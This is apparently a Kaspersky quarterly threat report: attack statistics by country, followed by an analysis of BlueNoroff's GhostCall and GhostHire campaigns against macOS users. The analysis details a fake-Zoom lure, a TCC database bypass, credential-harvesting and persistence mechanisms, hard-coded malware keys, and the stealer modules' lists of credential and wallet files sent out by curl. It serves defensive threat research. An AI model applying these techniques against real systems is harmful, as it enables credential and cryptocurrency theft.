1.05%
7.81%
Iran
1.50%
7.04%
Seychelles
6.54%
6.69%
South Africa
2.28%
5.50%
The Netherlands
3.53%
3.94%
Vietnam
3.00%
3.52%
India
2.89%
3.47%
Russian Federation
8.45%
3.29%
The largest number of attacks via the Telnet protocol were carried out from China, as is typically the case. Devices located in India reduced their activity, whereas the share of attacks from Indonesia increased.
Country/territory
Q2 2025
Q3 2025
China
47.02%
57.10%
Indonesia
5.54%
9.48%
India
28.08%
8.66%
Russian Federation
4.85%
7.44%
Pakistan
3.58%
6.66%
Nigeria
1.66%
3.25%
Vietnam
0.55%
1.32%
Seychelles
0.58%
0.93%
Ukraine
0.51%
0.73%
Sweden
0.39%
0.72%
Attacks via web resources
The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.
TOP 10 countries that served as sources of web-based attacks
This section gives the geographical distribution of sources of online attacks (such as web pages redirecting to exploits, sites hosting exploits and other malware, and botnet C2 centers) blocked by Kaspersky products. One or more web-based attacks could originate from each unique host.
To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).
In the third quarter of 2025, Kaspersky solutions blocked 389,755,481 attacks from internet resources worldwide. Web Anti-Virus was triggered by 51,886,619 unique URLs.
Countries and territories where users faced the greatest risk of online infection
To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.
This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Panama
11.24
2
Bangladesh
8.40
3
Tajikistan
7.96
4
Venezuela
7.83
5
Serbia
7.74
6
Sri Lanka
7.57
7
North Macedonia
7.39
8
Nepal
7.23
9
Albania
7.04
10
Qatar
6.91
11
Malawi
6.90
12
Algeria
6.74
13
Egypt
6.73
14
Bosnia and Herzegovina
6.59
15
Tunisia
6.54
16
Belgium
6.51
17
Kuwait
6.49
18
Turkey
6.41
19
Belarus
6.40
20
Bulgaria
6.36
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.
On average, over the course of the quarter, 4.88% of devices globally were subjected to at least one web-based Malware attack.
Local threats
Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.
Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media: flash drives, camera memory cards, phones, and external drives. The statistics are based on detection verdicts from the on-access scan (OAS) and on-demand scan (ODS) modules of File Anti-Virus.
In the third quarter of 2025, our File Anti-Virus recorded 21,356,075 malicious and potentially unwanted objects.
Countries and territories where users faced the highest risk of local infection
For each country and territory, we calculated the percentage of Kaspersky users on whose computers File Anti-Virus was triggered during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.
Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Turkmenistan
45.69
2
Yemen
33.19
3
Afghanistan
32.56
4
Tajikistan
31.06
5
Cuba
30.13
6
Uzbekistan
29.08
7
Syria
25.61
8
Bangladesh
24.69
9
China
22.77
10
Vietnam
22.63
11
Cameroon
22.53
12
Belarus
21.98
13
Tanzania
21.80
14
Niger
21.70
15
Mali
21.29
16
Iraq
20.77
17
Nicaragua
20.75
18
Algeria
20.51
19
Congo
20.50
20
Venezuela
20.48
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.
On average worldwide, local Malware threats were detected at least once on 12.36% of computers during the third quarter.
Primarily focused on financial gain since its appearance, BlueNoroff (aka. Sapphire Sleet, APT38, Alluring Pisces, Stardust Chollima, and TA444) has adopted new infiltration strategies and malware sets over time, but it still targets blockchain developers, C-level executives, and managers within the Web3/blockchain industry as part of its SnatchCrypto operation. Earlier this year, we conducted research into two malicious campaigns by BlueNoroff under the SnatchCrypto operation, which we dubbed GhostCall and GhostHire.
GhostCall heavily targets the macOS devices of executives at tech companies and in the venture capital sector by directly approaching targets via platforms like Telegram, and inviting potential victims to investment-related meetings linked to Zoom-like phishing websites. The victim would join a fake call with genuine recordings of this threat’s other actual victims rather than deepfakes. The call proceeds smoothly to then encourage the user to update the Zoom client with a script. Eventually, the script downloads ZIP files that result in infection chains deployed on an infected host.
GhostCall campaign attack flow
In the GhostHire campaign, BlueNoroff approaches Web3 developers and tricks them into downloading and executing a GitHub repository containing malware under the guise of a skill assessment during a recruitment process. After initial contact and a brief screening, the user is added to a Telegram bot by the recruiter. The bot sends either a ZIP file or a GitHub link, accompanied by a 30-minute time limit to complete the task, while putting pressure on the victim to quickly run the malicious project. Once executed, the project downloads a malicious payload onto the user’s system. The payload is specifically chosen according to the user agent, which identifies the operating system being used by the victim.
GhostHire campaign attack flow
We observed the actor utilizing AI in various aspects of their attacks, which enabled them to enhance productivity and meticulously refine their attacks. The infection scheme observed in GhostHire shares structural similarities of infection chains with the GhostCall campaign, and identical malware was detected in both.
We have been tracking these two campaigns since April 2025, particularly observing the continuous emergence of the GhostCall campaign’s victims on platforms like X. We hope our research will help prevent further damage, and we extend our gratitude to everyone who willingly shared relevant information.
The relevant information about GhostCall has already been disclosed by Microsoft, Huntability, Huntress, Field Effect, and SentinelOne. However, we cover newly discovered malware chains and provide deeper insights.
The GhostCall campaign
The GhostCall campaign is a sophisticated attack that uses fake online calls with the threat actors posing as fake entrepreneurs or investors to convince targets. GhostCall has been active at least since mid-2023, potentially following the RustBucket campaign, which marked BlueNoroff’s full-scale shift to attacking macOS systems. Windows was the initial focus of the campaign; it soon shifted to macOS to better align with the targets’ predominantly macOS environment, leveraging deceptive video calls to maximize impact.
The GhostCall campaign employs sophisticated fake meeting templates and fake Zoom updaters to deceive targets. Historically, the actor often used excuses related to IP access control, but shifted to audio problems to persuade the target to download the malicious AppleScript code to fix it. Most recently, we observed the actor attempting to transition the target platform from Zoom to Microsoft Teams.
During this investigation, we identified seven distinct multi-component infection chains, a stealer suite, and a keylogger. The modular stealer suite gathers extensive secret files from the host machine, including information about cryptocurrency wallets, Keychain data, package managers, and infrastructure setups. It also captures details related to cloud platforms and DevOps, along with notes, an API key for OpenAI, collaboration application data, and credentials stored within browsers, messengers, and the Telegram messaging app.
Initial access
The actor reaches out to targets on Telegram by impersonating venture capitalists and, in some cases, using compromised accounts of real entrepreneurs and startup founders. In their initial messages, the attackers promote investment or partnership opportunities. Once contact is established with the target, they use Calendly to schedule a meeting and then share a meeting link through domains that mimic Zoom. Sometimes, they may send the fake meeting link directly via messages on Telegram. The actor also occasionally uses Telegram’s hyperlink feature to hide phishing URLs and disguise them as legitimate URLs.
Overall behavior of the phishing site
Upon accessing the fake site, the target is presented with a page carefully designed to mirror the appearance of Zoom in a browser. The page uses standard browser features to prompt the user to enable their camera and enter their name. Once activated, the JavaScript logic begins recording and sends a video chunk to the /upload endpoint of the actor’s fake Zoom domain every second using the POST method.
Initial page mimicking Zoom call joining behavior
Once the target joins, a screen resembling an actual Zoom meeting appears, showing the video feeds of three participants as if they were part of a real session. Based on OSINT we were monitoring, many victims initially believed the videos they encountered were generated by deepfake or AI technology. However, our research revealed that these videos were, in fact, real recordings secretly taken from other victims who had been targeted by the same actor using the same method. Their webcam footage had been unknowingly recorded, then uploaded to attacker-controlled infrastructure, and reused to deceive other victims, making them believe they were participating in a genuine live call. When the video replay ended, the page smoothly transitioned to showing that user’s profile image, maintaining the illusion of a live call.
Fake Zoom meeting
Approximately three to five seconds later, an error message appears below the participants’ feeds, stating that the system is not functioning properly and prompting them to download a Zoom SDK update file through a link labeled “Update Now”. However, rather than providing an update, the link downloads a malicious AppleScript file onto macOS and triggers a popup for troubleshooting on Windows.
Clicking the link on macOS (left) and on Windows (right)
On macOS, clicking the link directly downloads an AppleScript file named Zoom SDK Update.scpt from the actor’s domain. A small “Downloads” coach mark is also displayed, subtly encouraging the user to execute the script by imitating genuine Apple feedback. On Windows, the attack uses the ClickFix technique, where a modal window appears with a seemingly harmless code snippet from a legitimate domain. However, any attempt to copy the code – via the Copy button, right-click and Copy, or Ctrl+C – results in a malicious one-liner being placed in the clipboard instead.
Malicious code upon ClickFix
We observed that the actor implemented beaconing activity within the malicious web page to track victim interactions. The page reports back to their backend infrastructure – likely to assess the success or failure of the targeting. This is accomplished through a series of automatically triggered HTTP GET requests when the victim performs specific actions, as outlined below.
Endpoint
Trigger
Purpose
/join/{id}/{token}
User clicks Join on the pre-join screen
Track whether the victim entered the meeting
/action/{id}/{token}
Update / Troubleshooting SDK modal is shown
Track whether the victim clicked on the update prompt
/action1/{id}/{token}
User uses any copy-and-paste method to copy modal window contents
Confirm the clipboard swap likely succeeded
/action2/{id}/{token}
User closes modal
Track whether the victim closed the modal
In September 2025, we discovered that the group is shifting from cloning the Zoom UI in their attacks to Microsoft Teams. The method of delivering malware (via a phishing page) remains unchanged.
Upon entering the meeting room, a prompt specific to the target’s operating system appears almost immediately after the background video starts – unlike before. While this is largely similar to Zoom, macOS users also see a separate prompt asking them to download the SDK file.
General fake prompt to update the SDK file (left) and Windows-specific (right)
We were able to obtain the AppleScript (Zoom SDK Update.scpt) the actor claimed was necessary to resolve the issue, which was already widely known through numerous research studies as the entry point for the attack. The script is disguised as an update for the Zoom Meeting SDK and contains nearly 10,000 blank lines that obscure its malicious content. Upon execution, it fetches another AppleScript, which acts as a downloader, from a different fake link using a curl command. There are numerous variants of this “troubleshooting” AppleScript, differing in filename, user agent, and contents.
Snippets of the AppleScript disguised as a Zoom SDK update
If the targeted macOS version is 11 (Monterey) or later, the downloader AppleScript installs a fake application disguised as Zoom or Microsoft Teams into the /private/tmp directory. The application attempts to mimic a legitimate update for Zoom or Teams by displaying a password input popup. Additionally, it downloads a next-stage AppleScript, which we named “DownTroy”. This script is expected to check stored passwords and use them to install additional malware with root privileges. We cautiously assess that this would be an evolved version of the older one, disclosed by Huntress.
Moreover, the downloader script includes a harvesting function that searches for files associated with password management applications (such as Bitwarden, LastPass, 1Password, and Dashlane), the default Notes app (group.com.apple.notes), note-taking apps like Evernote, and the Telegram application installed on the device.
Another notable feature of the downloader script is a bypass of TCC (Transparency, Consent, and Control), a macOS system designed to manage user consent for accessing sensitive resources such as the camera, microphone, AppleEvents/automation, and protected folders like Documents, Downloads, and Desktop. The script works by renaming the user’s com.apple.TCC directory and then performing offline edits to the TCC.db database. Specifically, it removes any existing entries in the access table related to a client path to be registered in the TCC database and executes INSERT OR REPLACE statements. This process enables the script to grant AppleEvents permissions for automation and file access to a client path controlled by the actor. The script inserts rows for service identifiers used by TCC, including kTCCServiceAppleEvents, kTCCServiceSystemPolicyDocumentsFolder, kTCCServiceSystemPolicyDownloadsFolder, and kTCCServiceSystemPolicyDesktopFolder, and places a hex-encoded code-signature blob (in the csreq style) in the database to meet the requirement for access to be granted. This binary blob must be bound to the target app’s code signature and evaluated at runtime. Finally, the script attempts to rename the TCC directory back to its original name and calls tccutil reset DeveloperTool.
In the sample we analyzed, the client path is ~/Library/Google/Chrome Update – the location the actor uses for their implant. In short, this allows the implant to control other applications, access data from the user’s Documents, Downloads, and Desktop folders, and execute AppleScripts – all without prompting for user consent.
Initial infection flow
Multi-stage execution chains
According to our telemetry and investigation into the actor’s infrastructure, DownTroy would download ZIP files that contain various individual infection chains from the actor’s centralized file hosting server. Although we haven’t observed how the SysPhon and the SneakMain chain were installed, we suspect they would’ve been downloaded in the same manner. We have identified not only at least seven multi-stage execution chains retrieved from the server, but also various malware families installed on the infected hosts, including keyloggers and stealers downloaded by CosmicDoor and RooTroy chains.
Num
Execution chain/Malware
Components
Source
1
ZoomClutch
(standalone)
File hosting server
2
DownTroy v1 chain
Launcher, Dropper, DownTroy.macOS
File hosting server
3
CosmicDoor chain
Injector, CosmicDoor.macOS in Nim
File hosting server
4
RooTroy chain
Installer, Loader, Injector, RooTroy.macOS
File hosting server
5
RealTimeTroy chain
Injector, RealTimeTroy.macOS in Go
Unknown, obtained from multiscanning service
6
SneakMain chain
Installer, Loader, SneakMain.macOS
Unknown, obtained from infected hosts
7
DownTroy v2 chain
Installer, Loader, Dropper, DownTroy.macOS
File hosting server
8
SysPhon chain
Installer, SysPhone backdoor
Unknown, obtained from infected hosts
The actor has been introducing new malware chains by adapting new programming languages and developing new components since 2023. Before that, they employed standalone malware families, but later evolved into a modular structure consisting of launchers, injectors, installers, loaders, and droppers. This modular approach enables the malicious behavior to be divided into smaller components, making it easier to bypass security products and evade detection. Most of the final payloads in these chains have the capability to download additional AppleScript files or execute commands to retrieve subsequent-stage payloads.
Interestingly, the actor initially favored Rust for writing malware but ultimately switched to the Nim language. Meanwhile, other programming languages like C++, Python, Go, and Swift have also been utilized. The C++ language was employed to develop the injector malware as well as the base application within the injector, but the application was later rewritten in Swift. Go was also used to develop certain components of the malware chain, such as the installer and dropper, but these were later switched to Nim as well.
ZoomClutch/TeamsClutch: the fake Zoom/Teams application
During our research of a macOS intrusion on a victim’s machine, we found a suspicious application resembling a Zoom client executing from an atypical, writable path – /tmp/zoom.app/Contents/MacOS – rather than the standard /Applications directory. Analysis showed that the binary was not an official Zoom build but a custom implant compiled on macOS 14.5 (24F74) with Xcode 16 beta 2 (16C5032a) against the macOS 15.2 SDK. The app is ad‑hoc signed, and its bundle identifier is hard‑coded to us.zoom.com to mimic the legitimate client.
The implant is written in Swift and functions as a macOS credentials harvester, disguised as the Zoom videoconferencing application. It features a well-developed user interface using Swift’s modern UI frameworks that closely mimics the Zoom application icon, Apple password prompts, and other authentic elements.
ZoomClutch prompting the victim to enter their password
ZoomClutch steals macOS passwords by displaying a fake Zoom dialog, then sends the captured credentials to the C2 server. However, before exfiltrating the data, ZoomClutch first validates the credentials locally using Apple’s Open Directory (OD) to filter out typos and incorrect entries, mirroring macOS’s own authentication flow. OD manages accounts and authentication processes for both local and external directories. Local user data sits at /var/db/dslocal/nodes/Default/users/ as plists with PBKDF2‑SHA512 hashes. The malware creates an ODSession, then opens a local ODNode via kODNodeTypeLocalNodes (0x2200/8704) to scope operations to /Local/Default.
It subsequently calls verifyPassword:error: to check the password, which re-hashes the input password using the stored salt and iterations, returning true if there is a match. If verification fails, ZoomClutch re-prompts the user and shortly displays a “wrong password” popup with a shake animation. On success, it hides the dialog, displays a “Zoom Meeting SDK has been updated successfully” message, and the validated credentials are covertly sent to the C2 server.
ZoomClutch success window displayed after password validation
All passwords entered in the prompt are logged to ~/Library/Logs/keybagd_events.log. The malware then creates a file at ~/Library/Logs/<username>_auth.log to store the verified password in plain text. This file is subsequently uploaded to a C2 URL using curl.
With medium-high confidence, we assess that the malware was part of BlueNoroff’s workflow needed to initiate the execution flow outlined in the subsequent infection chains.
The TeamsClutch malware that mimics a legitimate Microsoft Teams functions similarly to ZoomClutch, but with its logo and some text elements replaced.
TeamsClutch authentication and success windows
DownTroy v1 chain
The DownTroy v1 chain consists of a launcher and a dropper, which ultimately loads the DownTroy.macOS malware written in AppleScript.
Dropper: a dropper file named "trustd", written in Go
Launcher: a launcher file named "watchdog", written in Go
Final payload: DownTroy.macOS written in AppleScript
The dropper operates in two distinct modes: initialization and operational. When the binary is executed with a machine ID (mid) as the sole argument, it enters initialization mode and updates the configuration file located at ~/Library/Assistant/CustomVocabulary/com.applet.safari/local_log using the provided mid and encrypts it with RC4. It then runs itself without any arguments to transition into operational mode. In case the binary is launched without any arguments, it enters operational mode directly. In this mode, it retrieves the previously saved configuration and uses the RC4 key NvZGluZz0iVVRGLTgiPz4KPCF to decrypt it. It is important to note that the mid value must first be included in the configuration during initialization mode, as it is essential for subsequent actions.
It then decodes a hard-coded, base64-encoded string associated with DownTroy.macOS. This AppleScript contains a placeholder value, %mail_id%, which is replaced with the initialized mid value from the configuration. The modified script is saved to a temporary file named local.lock within the <BasePath> directory from the configuration, with 0644 permissions applied, meaning that only the script owner can modify it. The malware then uses osascript to execute DownTroy.macOS and sets Setpgid=1 to isolate the process group. DownTroy.macOS is responsible for downloading additional scripts from its C2 server until the system is rebooted.
The dropper implements a signal handling procedure to monitor for termination attempts. Initially, it reads the entire trustd (itself) and watchdog binary files into memory, storing them in a buffer before deleting the original files. Upon receiving a SIGINT or SIGTERM signal indicating that the process should terminate, the recovery mechanism activates to maintain persistence. While SIGINT is a signal used to interrupt a running process by the user from the terminal using the keyboard shortcut Ctrl + C, SIGTERM is a signal that requests a process to terminate gracefully.
The recovery mechanism begins by recreating the <BasePath> directory with intentionally insecure 0777 permissions (meaning that all users have the read, write, and execute permissions). Next, it writes both binaries back to disk from memory, assigning them executable permissions (0755), and also creates a plist file to ensure the automatic restart of this process chain.
trustd: trustd in the <BasePath> directory
watchdog: ~/Library/Assistant/SafariUpdate and watchdog in the <BasePath> directory
The contents of the plist file are hard-coded into the dropper in base64-encoded form. When decoded, the template represents a standard macOS LaunchAgent plist containing the placeholder tokens #path and #label. The malware replaces these tokens to customize the template. The final plist configuration ensures the launcher automatic execution by setting RunAtLoad to true (starts at login), KeepAlive to true (restarts if terminated), and LaunchOnlyOnce to true.
#path is replaced with the path to the copied watchdog
#label is replaced with com.applet.safari to masquerade as a legitimate Safari-related component
The main feature of the discovered launcher is its ability to load the same configuration file located at ~/Library/Assistant/CustomVocabulary/com.applet.safari/local_log. It reads the file and uses the RC4 algorithm to decrypt its contents with the same hard-coded 25-byte key: NvZGluZz0iVVRGLTgiPz4KPCF. After decryption, the loader extracts the <BasePath> value from the JSON object, which specifies the location of the next payload. It then executes a file named trustd from this path, disguising it as a legitimate macOS system process.
We identified another version of the loader, distinguished by the configuration path that contains the <BasePath> – this time, the configuration file was located at /Library/Graphics/com.applet.safari/local_log. The second version is used when the actor has gained root-level permissions, likely achieved through ZoomClutch during the initial infection.
CosmicDoor chain
The CosmicDoor chain begins with an injector malware that we have named “GillyInjector” written in C++, which was also described by Huntress and SentinelOne. This malware includes an encrypted baseApp and an encrypted malicious payload.
Injector: GillyInjector written in C++
BaseApp: a benign application written in C++ or Swift
Final payload: CosmicDoor.macOS written in Nim
The syscon.zip file downloaded from the file hosting server contains the “a” binary that has been identified as GillyInjector designed to run a benign Mach-O app and inject a malicious payload into it at runtime. Both the injector and the benign application are ad-hoc signed, similar to ZoomClutch. GillyInjector employs a technique known as Task Injection, a rare and sophisticated method observed on macOS systems.
The injector operates in two modes: wiper mode and injector mode. When executed with the --d flag, GillyInjector activates its destructive capabilities. It begins by enumerating all files in the current directory and securely deleting each one. Once all files in the directory are unrecoverably wiped, GillyInjector proceeds to remove the directory itself. When executed with a filename and password, GillyInjector operates as a process injector. It creates a benign application with the given filename in the current directory and uses the provided password to derive an AES decryption key.
The benign Mach-O application and its embedded payload are encrypted with a customized AES-256 algorithm in ECB mode (although similar to the structure of the OFB mode) and then base64-encoded. To decrypt, the first 16 bytes of the encoded string are extracted as the salt for a PBKDF2 key derivation process. This process uses 10,000 iterations, and a user-provided password to generate a SHA-256-based key. The derived key is then used to decrypt the base64-decoded ciphertext that follows.
Base application and payload decryption
The ultimately injected payload is identified as CosmicDoor.macOS, written in Nim. The main feature of CosmicDoor is that it communicates with the C2 server using the WSS protocol, and it provides remote control functionality such as receiving and executing commands.
Our telemetry indicates that at least three versions of CosmicDoor.macOS have been detected so far, each written in different cross-platform programming languages, including Rust, Python, and Nim. We also discovered that the Windows variant of CosmicDoor was developed in Go, demonstrating that the threat actor has actively used this malware across both Windows and macOS environments since 2023. Based on our investigation, the development of CosmicDoor likely followed this order: CosmicDoor.Windows in Go → CosmicDoor.macOS in Rust → CosmicDoor in Python → CosmicDoor.macOS in Nim. The Nim version, the most recently identified, stands out from the others primarily due to its updated execution chain, including the use of GillyInjector.
Except for the appearance of the injector, the differences between the Windows version and other versions are not significant. On Windows, the fourth to sixth characters of all RC4 key values are initialized to 123. In addition, the CosmicDoor.macOS version, written in Nim, has an updated value for COMMAND_KEY.
CosmicDoor.macOS in Nim
CosmicDoor in Python, CosmicDoor.macOS in Rust
CosmicDoor.Windows in Go
SESSION_KEY
3LZu5H$yF^FSwPu3SqbL*sK
3LZu5H$yF^FSwPu3SqbL*sK
3LZ123$yF^FSwPu3SqbL*sK
COMMAND_KEY
lZjJ7iuK2qcmMW6hacZOw62
jubk$sb3xzCJ%ydILi@W8FH
jub123b3xzCJ%ydILi@W8FH
AUTH_KEY
Ej7bx@YRG2uUhya#50Yt*ao
Ej7bx@YRG2uUhya#50Yt*ao
Ej7123YRG2uUhya#50Yt*ao
The same command scheme is still in use, but other versions implement only a few of the commands available on Windows. Notably, commands such as 345, 90, and 45 are listed in the Python implementation of CosmicDoor, but their actual code has not been implemented.
Command
Description
CosmicDoor.macOS in Rust and Nim
CosmicDoor in Python
CosmicDoor.Windows in Go
234
Get device information
O
O
O
333
No operation
–
–
O
44
Update configuration
–
–
O
78
Get current work directory
O
O
O
1
Get interval time
–
–
O
12
Execute commands
O
O
O
34
Set current work directory
O
O
O
345
(DownExec)
–
O (but, not implemented)
–
90
(Download)
–
O (but, not implemented)
–
45
(Upload)
–
O (but, not implemented)
–
SilentSiphon: a stealer suite for harvesting
During our investigation, we discovered that CosmicDoor downloads a stealer suite composed of various bash scripts, which we dubbed “SilentSiphon”. In most observed infections, multiple bash shell scripts were created on infected hosts shortly after the installation of CosmicDoor. These scripts were used to collect and exfiltrate data to the actor’s C2 servers.
The file named upl.sh functions as an orchestration launcher, which aggregates multiple standalone data-extraction modules identified on the victim’s system.
The launcher first uses the command who | tail -n1 | awk '{print $1}' to identify the username of the currently logged-in macOS user, thus ensuring that all subsequent file paths are resolved within the ongoing active session – regardless of whether the script is executed by another account or via Launch Agents. However, both the hard-coded C2 server and the username can be modified with the -h and -u flags, a feature consistent with other modules analyzed in this research. The orchestrator executes five embedded modules located in the same directory, removing each immediately after it completes exfiltration.
The stealer suite harvests data from the compromised host as follows:
upl.sh is the orchestrator and Apple Notes stealer.
It targets Apple Notes at /private/var/tmp/group.com.apple.notes.
It stores the data at /private/var/tmp/notes_<username>.
cpl.sh is the browser extension stealer module.
It targets:
Local storage for extensions: the entire “Local Extension Settings” directory of Chromium-based web browsers, such as Chrome, Brave, Arc, Edge, and Ecosia
Browser’s built-in database: directories corresponding to Exodus Web3 Wallet, Coinbase Wallet extension, Crypto.com Onchain Extension, Manta Wallet, 1Password, and Sui wallet in the “IndexedDB” directory
Extension list: the list of installed extensions in the “Extensions” directory
Stores the data at /private/var/tmp/cpl_<username>/<browser>/*
ubd.sh is the browser credentials and macOS Keychains stealer module.
It targets:
Credentials stored in the browsers: Local State, History, Cookies, Sessions, Web Data, Bookmarks, Login Data, Session Storage, Local Storage, and IndexedDB directories of Chromium-based web browsers, such as Chrome, Brave, Arc, Edge, and Ecosia
Credentials in the Keychain: /Library/Keychains/System.keychain and ~/Library/Keychains/login.keychain-db
It stores the data at /private/var/tmp/ubd_<username>/*
secrets.sh is the secrets stealer module.
It targets:
Version Control: GitHub (.config/gh), GitLab (.config/glab-cli), and Bitbucket (.bit/config)
DevOps/IaC: CircleCI (.circleci/cli.yml), Pulumi (.pulumi/credentials.json), and HashiCorp (.vault-token)
Security/Authentication: SSH (.ssh) and FTP/cURL/Wget (.netrc)
Blockchain Related: Sui Blockchain (.sui), Solana (.config/solana), NEAR Blockchain (.near-credentials), Aptos Blockchain (.aptos), and Algorand (.algorand)
Container Related: Docker (.docker) and Kubernetes (.kube)
AI: OpenAI (.openai)
It stores the data at /private/var/tmp/secrets_backup_<current time>/<username>/*
uad.sh is the password‑vault stealer module
It targets:
Password manager: 1Password 8, 1Password 7, Bitwarden, LastPass, and Dashlane
Note-taking: Evernote and Notion
Collaboration suites: Slack
Messenger: Skype (inactive), WeChat (inactive), and WhatsApp (inactive)
Cryptocurrency: Ledger Live, Hiro StacksWallet, Tonkeeper, MyTonWallet, and MetaMask (inactive)
Remote Monitoring and Management: AnyDesk
It stores the data at /private/var/tmp/<username>_<target application>_<current time>/*
utd.sh is the Telegram stealer module
It targets:
On macOS version 14 and later:
Telegram’s cached resources, such as chat history and media files
Encrypted geolocation cache
AES session keys used for account takeover
Legacy sandbox cache
On macOS versions earlier than 14:
List of configured Telegram accounts
Export-key vault
Full chat DB, messages, contacts, files, and cached media
It stores the data at /private/var/tmp/Telegrams_<username>/*
These extremely extensive targets allow the actor to expand beyond simple credentials to encompass their victims’ entire infrastructure. This includes Telegram accounts exploitable for further attacks, supply chain configuration details, and collaboration tools revealing personal notes and business interactions with other users. Notably, the attackers even target the .openai folder to secretly use ChatGPT with the user’s account.
The collected information is immediately archived with the ditto -ck command and uploaded to the initialized C2 server via curl command, using the same approach as in ZoomClutch.
RooTroy chain
We identified a ZIP archive downloaded from the file hosting server that contains a three-component toolset. The final payload, RooTroy.macOS, was also documented in the Huntress’s blog, but we were able to obtain its full chain. The archive includes the following:
Installer: the primary installer file named "rtv4inst", written in Go
Loader: an auxiliary loader file named "st" and identified as the Nimcore loader, written in Nim
Injector: an injector file named "wt", which is identified as GillyInjector, written in C++
Final payload: RooTroy.macOS, written in Go
Upon the execution of the installer, it immediately checks for the presence of other components and terminates if any are missing. Additionally, it verifies that it has accepted at least two command-line arguments to function properly, as follows.
rvt4inst <MID> <C2> [<Additional C2 domains…>]
MID (Machine ID): unique identifier for victim tracking
C2: primary command‑and‑control domain
Additional C2 values can be supplied
On the first launch, the installer creates several directories and files that imitate legitimate macOS components. Note that these paths are abused only for camouflage; none are genuine system locations.
The installer uses the hard‑coded key 3DD226D0B700F33974F409142DEFB62A8CD172AE5F2EB9BEB7F5750EB1702E2A to serialize its runtime parameters into an RC4‑encrypted blob. The resulting encrypted value is written as .cfg inside /Library/Google/Cache/.
The installer then implements a naming mechanism for the plist name through dynamic bundle ID generation, where it scans legitimate applications in /Applications to create convincing identifiers. It enumerates .app bundles, extracts their names, and combines them with service-oriented terms like “agent”, “webhelper”, “update”, “updater”, “startup”, “service”, “cloudd”, “daemon”, “keystone.agent”, “update.agent”, or “installer” to construct bundle IDs, such as “com.safari.update” or “com.chrome.service”. If the bundle ID generation process fails for any reason, the malware defaults to “com.apple.updatecheck” as a hard-coded fallback identifier.
The installer then deploys the auxiliary binaries from the ZIP extraction directory to their final system locations. The Nimcore loader (st) is copied to /Library/Application Support/Logitechs/bin/Update Check. The GillyInjector binary is renamed to cpumons in the /Library/Storage/CPU path. Both files receive 0755 permissions to ensure executability.
Later, a persistence mechanism is implemented through macOS Launch Daemon plists. The plist template contains four placeholder fields that are filled in during generation:
The Label field receives the dynamically generated bundle ID.
The SERVER_AUTH_KEY environment variable is populated with the GillyInjector’s path /Library/Storage/CPU/cpumons that is RC4-encrypted using the hard-coded key "yniERNUgGUHuAhgCzMAi" and then base64-encoded.
The CLIENT_AUTH_KEY environment variable receives the hard-coded value "..".
The Program field points to the installed Nimcore loader’s path.
The installer completes the persistence setup by using legitimate launchctl commands to activate the persistence mechanism, ensuring the Nimcore loader is executed. It first runs “launchctl unload <bundle ID>.plist” on any existing plist with the same name to remove previous instances, then executes “launchctl load <bundle ID>.plist” to activate the new persistence configuration through /bin/zsh -c.
The second stage in this execution chain is the Nimcore loader, which is deployed by the installer and specified in the Program field of the plist file. This loader reads the SERVER_AUTH_KEY environment variable with getenv(), base64-decodes the value, and decrypts it with the same RC4 key used by the installer. The loader is able to retrieve the necessary value because both SERVER_AUTH_KEY and CLIENT_AUTH_KEY are provided in the plist file and filled in by the installer. After decryption, it invokes posix_spawn() to launch GillyInjector.
GillyInjector is the third component in the RooTroy chain and follows the same behavior as described in the CosmicDoor chain. In this instance, however, the password used for generation is hard-coded as xy@bomb# within the component. The baseApp is primarily responsible for displaying only a simple message and acts as a carrier to keep the injected final payload in memory during runtime.
The final payload is identified as RooTroy.macOS, written in Go. Upon initialization, RooTroy.macOS reads its configuration from /Library/Google/Cache/.cfg, a file created by the primary installer, and uses the RC4 algorithm with the same 3DD226D0B700F33974F409142DEFB62A8CD172AE5F2EB9BEB7F5750EB1702E2A key to decrypt it. If it fails to read the config file, it removes all files at /Library/Google/Cache and exits.
As the payload is executed at every boot time via a plist setup, it prevents duplicate execution by checking the .pid file in the same directory. If a process ID is found in the file, it terminates the corresponding process and writes the current process ID into the file. Additionally, it writes the string {"rt": "4.0.0."} into the .version file, also located in the same directory, to indicate the current version. This string is encrypted using RC4 with the key C4DB903322D17C8CBF1D1DB55124854C0B070D6ECE54162B6A4D06DF24C572DF.
This backdoor executes commands from the /Library/Google/Cache/.startup file line by line. Each line is executed via /bin/zsh -c "[command]" in a separate process. It also monitors the user’s login status and re-executes the commands when the user logs back in after being logged out.
Next, RooTroy collects and lists all mounted volumes and running processes. It then enters an infinite loop, repeatedly re-enumerating the volumes to detect any changes – such as newly connected USB drives, network shares, or unmounted devices – and uses a different function to identify changes in the list of processes since the last iteration. It sends the collected information to the C2 server via a POST request to /update endpoint with Content-Type: application/json.
The data field in the response from the C2 server is executed directly via AppleScript with osascript -e. When both the url and auth fields are present, RooTroy connects to the URL with GET method and the Authorization header to retrieve additional files. Then it sleeps for five seconds and repeats the process.
Additional files are loaded as outlined below:
Generate a random 10-character file name in the temp directory: /private/tmp/[random-chars]{10}.zip.
Save the downloaded data to that file path.
Extract the ZIP file using ditto -xk /private/tmp/[random-chars]{10}.zip /private/tmp/[random-chars]{10}.
Make the file executable using chmod +x /private/tmp/[random-chars]{10}/install.
